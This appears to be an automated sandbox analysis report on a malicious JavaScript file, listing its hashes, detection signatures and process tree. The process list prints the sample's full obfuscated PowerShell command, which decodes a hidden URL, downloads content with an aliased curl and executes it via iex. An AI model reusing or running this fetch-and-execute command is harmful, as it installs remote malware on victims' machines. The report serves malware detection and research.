Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:49
General
-
Target
006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0.js
-
Size
183KB
-
MD5
35ee90514aff74a501a8a2553e874d85
-
SHA1
14d8b905fb3d72286b408f09dcd259758b834555
-
SHA256
006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0
-
SHA512
42bf396ea6c141bc537c51c57ee2ccdfe6078ce87af3edf678b388881b18fcb2a993faa4bdb9b79b8b7c2d9dbd1c85a49ed841128dad4e9f7153f57a6ab686da
-
SSDEEP
1536:nwJ0kCX8CZgi1jai/byFwkCX8CZgE1jai/byFz1jai/byFSkCX8CZgIkCX8CZgi:nzH8LqYwH8LkY5YSH8LIH8Li
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $hmuwzy='ur' ;new-alias printout c$($hmuwzy)l;$umjgyesoiafnvb=(4116,4127,4135,4119,4121,4116,4136,4135,4140,4073,4135,4069,4116,4064,4134,4129,4130,4065,4067,4064,4130,4122,4130,4081,4133,4079,4127,4123,4128,4134,4133,4068,4067);$uvhkqifzst=('bronx','get-cmdlet');$rtclzpvao=$umjgyesoiafnvb;foreach($ehkzpbrmq in $rtclzpvao){$vkcnybzau=$ehkzpbrmq;$yzabpkc=$yzabpkc+[char]($vkcnybzau-4018);$ldurmpgoiqa=$yzabpkc; $dmxeitnalbq=$ldurmpgoiqa};$djtfpxyole[2]=$dmxeitnalbq;$bfqoxcvpgamei='rl';$imuosalytk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmxeitnalbq)1⤵
- Process spawned unexpected child process